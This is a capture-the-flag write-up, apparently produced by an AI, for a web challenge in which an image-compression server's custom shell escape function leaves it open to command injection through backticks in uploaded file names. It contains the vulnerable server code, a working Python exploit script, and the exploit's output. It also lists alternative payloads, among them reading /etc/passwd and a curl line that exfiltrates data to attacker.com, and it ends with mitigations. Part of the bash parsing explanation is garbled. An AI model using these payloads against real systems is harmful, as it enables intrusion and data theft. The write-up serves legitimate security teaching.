image-compress-revenge

Attachment:

import { Elysia, t } from "elysia";
import { unlink } from "fs/promises";
import { run } from "./lib/shell.ts";

const CHARS_TO_ESCAPE = "$'\"(){}[]:;/&`~|^!? \n".split("");

export function escape(source: string): string {
    let s = source;
    for (const char of CHARS_TO_ESCAPE) {
        s = s.replaceAll(char, "\\" + char);
    }
    return s;
}

const app = new Elysia()
    .get("/", () => {
        return Bun.file("./public/index.html");
    })
    .post(
        "/compress",
        async ({ body, set }) => {
            const { image, quality } = body;

            if (image.name.includes("..")) {
                throw new Error(`Invalid file name: ${image.name}`);
            }

            const inputPath = `./tmp/inputs/${escape(image.name)}`;
            const outputPath = `./tmp/outputs/${escape(image.name)}`;
            console.log(escape(image.name));

            try {
                await Bun.write(inputPath, image);

                await run(
                    `magick "${inputPath}" -quality ${quality} -strip "${outputPath}"`,
                );

                const compressed = await Bun.file(outputPath).arrayBuffer();

                set.headers["Content-Type"] = image.type;
                set.headers["Content-Disposition"] =
                    `attachment; filename="${image.name}"`;

                return new Response(compressed);
            } catch (error) {
                set.status = 500;
                return { error: `Failed to compress image: ${error}` };
            } finally {
                await unlink(inputPath).catch(() => {});
                await unlink(outputPath).catch(() => {});
            }
        },
        {
            body: t.Object({
                image: t.File({
                    "file-type": "image/*",
                    maxSize: "10m",
                }),
                quality: t.Numeric({
                    minimum: 1,
                    maximum: 100,
                    default: 85,
                }),
            }),
        },
    );

app.listen(process.env.PORT ?? "3000", (server) => {
    console.log(
        `🦊 server is running at http://${server.hostname}:${server.port}`,
    );
});

// in shell.ts
import { spawn } from "bun";

export async function run(command: string) {
  const proc = spawn(["bash", "-c", command], {
    stderr: "pipe",
  });
  await proc.exited;
  if (proc.exitCode !== 0) {
    const err = await new Response(proc.stderr).text();
    throw new Error(`Shell command failed: \n${err}`);
  }
  const stdout = await new Response(proc.stdout).text();
  return stdout;
}

Solved by AI:

TSGCTF 2025 - Image Compress Revenge Writeup

Challenge: Image Compress Revenge (Web)
Points: Not specified
Author: TSG
Date: December 2025
Flag: TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}

Challenge Description

I tried making an app with Vibe coding. It's easy and nice, isn't it?

http://35.221.67.248:10502

We're given a web application that compresses images using ImageMagick. The source code is provided in image-compress-revenge.tar.gz.

Initial Reconnaissance

Application Overview

The application is a simple image compression service built with:

• Bun runtime
• Elysia web framework
• ImageMagick for image processing

Users can upload an image, specify a quality setting (1-100), and download the compressed version.

File Structure

image-compress-revenge/
├── compose.yaml          # Docker Compose configuration
└── server/
    ├── Dockerfile        # Container setup
    ├── server.ts         # Main application
    ├── lib/shell.ts      # Shell command execution wrapper
    ├── package.json      # Dependencies
    └── public/index.html # Frontend

Key Code Analysis

server.ts - Main Application Logic

const app = new Elysia()
  .post("/compress", async ({ body, set }) => {
    const { image, quality } = body;

    if (image.name.includes("..")) {
      throw new Error(`Invalid file name: ${image.name}`);
    }

    const inputPath = `./tmp/inputs/${escape(image.name)}`;
    const outputPath = `./tmp/outputs/${escape(image.name)}`;

    try {
      await Bun.write(inputPath, image);
      await run(`magick "${inputPath}" -quality ${quality} -strip "${outputPath}"`);
      // ... return compressed image
    } catch (error) {
      set.status = 500;
      return { error: `Failed to compress image: ${error}` };
    } finally {
      await unlink(inputPath).catch(() => {});
      await unlink(outputPath).catch(() => {});
    }
  }, {
    body: t.Object({
      image: t.File({ "file-type": "image/*", maxSize: "10m" }),
      quality: t.Numeric({ minimum: 1, maximum: 100, default: 85 }),
    }),
  });

lib/shell.ts - Command Execution

export async function run(command: string) {
  const proc = spawn(["bash", "-c", command], {
    stderr: "pipe",
  });
  await proc.exited;
  if (proc.exitCode !== 0) {
    const err = await new Response(proc.stderr).text();
    throw new Error(`Shell command failed: \n${err}`);
  }
  const stdout = await new Response(proc.stdout).text();
  return stdout;
}

escape() Function - The Vulnerability

const CHARS_TO_ESCAPE = "$'\"(){}[]:;/&`~|^!? \n".split("");

export function escape(source: string): string {
  let s = source;
  for (const char of CHARS_TO_ESCAPE) {
    s = s.replaceAll(char, "\\" + char);
  }
  return s;
}

Vulnerability Analysis

The Flawed Escape Function

The escape() function attempts to sanitize filenames by adding a backslash before special characters. However, it has several critical issues:

1. Backslash is not in CHARS_TO_ESCAPE: The backslash character (\) itself is not escaped, allowing it to be used in payloads.
2. Context matters: The escaped string is used inside double quotes in a bash command: magick "${inputPath}" ...
3. Bash parsing nuances: Inside double quotes, bash interprets ``` as an escaped backtick (literal backtick), not as backslash-backtick.

Command Injection Vector

When a filename contains backticks with an odd number of preceding backslashes, command substitution occurs:

1. Filename:

   \`command\`.jpg

2. After escape():

   \\`command\\`.jpg

3. In bash command:

   magick "./tmp/inputs/\\`command\\`.jpg" ...

4. Bash parsing inside "...":
   • \\ → \ (single backslash)
5. Result: `command` - command substitution executes!

Exploit Development

Proof of Concept

import requests

url = "http://35.221.67.248:10502/compress"
filename = '\\`echo $FLAG\\`.jpg'  # Note: double backslash in Python

# Minimal valid JPEG
jpeg_data = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00C\x00'

files = {'image': (filename, jpeg_data, 'image/jpeg')}
data = {'quality': 85}

response = requests.post(url, files=files, data=data)
print(response.json()['error'])

Exploit Output

Failed to compress image: Error: Shell command failed: 
bash: line 3: echo TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}: command not found
bash: line 3: echo TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35}: command not found
magick: unable to open image './tmp/inputs/\.jpg': No such file or directory @ error/blob.c/OpenBlob/3596.

Why the Flag Appears in Error

1. `echo $FLAG` executes, outputting the flag value
2. The output TSGCTF{...} becomes part of the "command" bash tries to execute
3. Bash error shows: echo TSGCTF{...}: command not found
4. The flag is revealed in the error message

Full Exploit Chain

Step-by-Step Execution

1. User uploads image with filename \`echo $FLAG\`.jpg
2. Server escapes filename to \\`echo $FLAG\\`.jpg
3. Command constructed: magick "./tmp/inputs/\\`echo $FLAG\\`.jpg" -quality 85 -strip "./tmp/outputs/\\`echo $FLAG\\`.jpg"
4. Bash parses inside double quotes:
   • \\ → \
   • Result: `echo $FLAG`
5. Command substitution executes echo $FLAG
6. Output TSGCTF{...} replaces the backtick expression
7. Final command: magick "./tmp/inputs/\.jpg" ... (. from command output)
8. Error occurs because file \.jpg doesn't exist
9. Error message contains the command output (flag)

Alternative Payloads

The vulnerability allows arbitrary command execution:

• \`id\`.jpg - Execute id command
• \`cat /etc/passwd\`.jpg - Read system files
• \`bash -c "curl http://attacker.com/?flag=$(echo $FLAG)"\`.jpg - Exfiltrate data

Root Cause Analysis

Multiple Failure Points

1. Custom escape function: Rolling your own security functions is error-prone
2. Shell command construction: User input directly in shell commands
3. Bash parsing complexity: Misunderstanding of how bash interprets escaped characters in quotes
4. Missing backslash escaping: Critical character omitted from escape list

The "Vibe Coding" Hint

The challenge description mentions "Vibe coding" - likely referring to the trend of writing code quickly without proper security considerations, emphasizing speed over safety.

Mitigation Strategies

1. Use Proper Shell Escaping

import { escape } from "shell-escape";
// Or use child_process.spawn with array arguments

2. Avoid Shell Commands Entirely

// Use ImageMagick Node.js bindings instead
import im from "imagemagick";
await im.convert([inputPath, "-quality", quality, "-strip", outputPath]);

3. Strict Input Validation

// Allow only safe characters
if (!/^[a-zA-Z0-9._-]+\.(jpg|jpeg|png|gif)$/.test(filename)) {
  throw new Error("Invalid filename");
}

4. Use Temporary Random Filenames

const randomName = crypto.randomBytes(16).toString("hex") + ".jpg";
const inputPath = `./tmp/inputs/${randomName}`;
// Store mapping from original filename to random name

5. Principle of Least Privilege

• Run ImageMagick in a sandboxed environment
• Use Docker with minimal capabilities
• Read-only filesystem where possible

Flag Explanation

The flag TSGCTF{d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt_and_r3ad0nly_15_r3qu1r3d_f0r_c0mmand_1nj3c710n_chall3ng35} hints at:

• d0llar_s1gn_1s_mag1c_1n_sh3ll_env1r0nm3nt - Environment variables with $ expansion
• r3ad0nly_15_r3qu1r3d - The filesystem is read-only (as seen in compose.yaml)
• f0r_c0mmand_1nj3c710n_chall3ng35 - Classic command injection challenge

Lessons Learned

1. Never trust user input - Always validate and sanitize
2. Avoid shell commands - Use library APIs when possible
3. Understand your tools - Bash parsing has many edge cases
4. Security through obscurity doesn't work - Custom escape functions are risky
5. Error messages can leak information - Be careful what errors reveal

Conclusion

This challenge demonstrates a classic command injection vulnerability arising from improper input sanitization and misunderstanding of shell parsing rules. The combination of a flawed escape function, direct shell command construction, and bash's nuanced parsing of escaped characters inside quotes created a powerful exploit allowing arbitrary command execution and flag extraction.

The solution highlights the importance of using established security libraries, avoiding shell commands with user input, and thoroughly understanding the tools and languages we work with.

Attack script:

#!/usr/bin/env python3
import requests

url = "http://35.221.67.248:10502/compress"

# Create a simple valid JPEG (minimal)
minimal_jpeg = (
    b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00'
    b'\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f'
    b'\xff\xc0\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x1f\x00\x00\x01\x05\x01\x01\x01\x01\x01\x01'
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\xff\xc4\x00\xb5\x10\x00\x02\x01\x03'
    b'\xff\xda\x00\x08\x01\x01\x00\x00?\x00'
)

# Test command injection via backticks
# We need odd number of backslashes before backtick
# \`command\`.jpg -> \\`command\\`.jpg after escaping
test_commands = [
    # Try to get flag
    'echo $FLAG',
]

for cmd in test_commands:
    # Filename with backticks: \`command\`.jpg
    # This will become \\`command\\`.jpg after escaping
    filename = f'\\`{cmd}\\`.jpg'

    print(f"\n=== Testing command: {cmd} ===")
    print(f"Filename: {repr(filename)}")

    files = {
        'image': (filename, minimal_jpeg, 'image/jpeg'),
    }
    data = {
        'quality': 85
    }

    try:
        response = requests.post(url, files=files, data=data, timeout=10)
        print(f"Status: {response.status_code}")

        if response.status_code == 500:
            error_data = response.json()
            error_msg = error_data.get('error', 'Unknown error')
            print(f"Error (first 500 chars): {error_msg[:500]}")

            # Check if command output appears in error
            if 'bash:' in error_msg or 'command not found' in error_msg:
                print("✓ Shell command executed!")
        else:
            print(f"Response length: {len(response.content)}")
            print(f"Content-Type: {response.headers.get('Content-Type', 'Unknown')}")

    except Exception as e:
        print(f"Exception: {e}")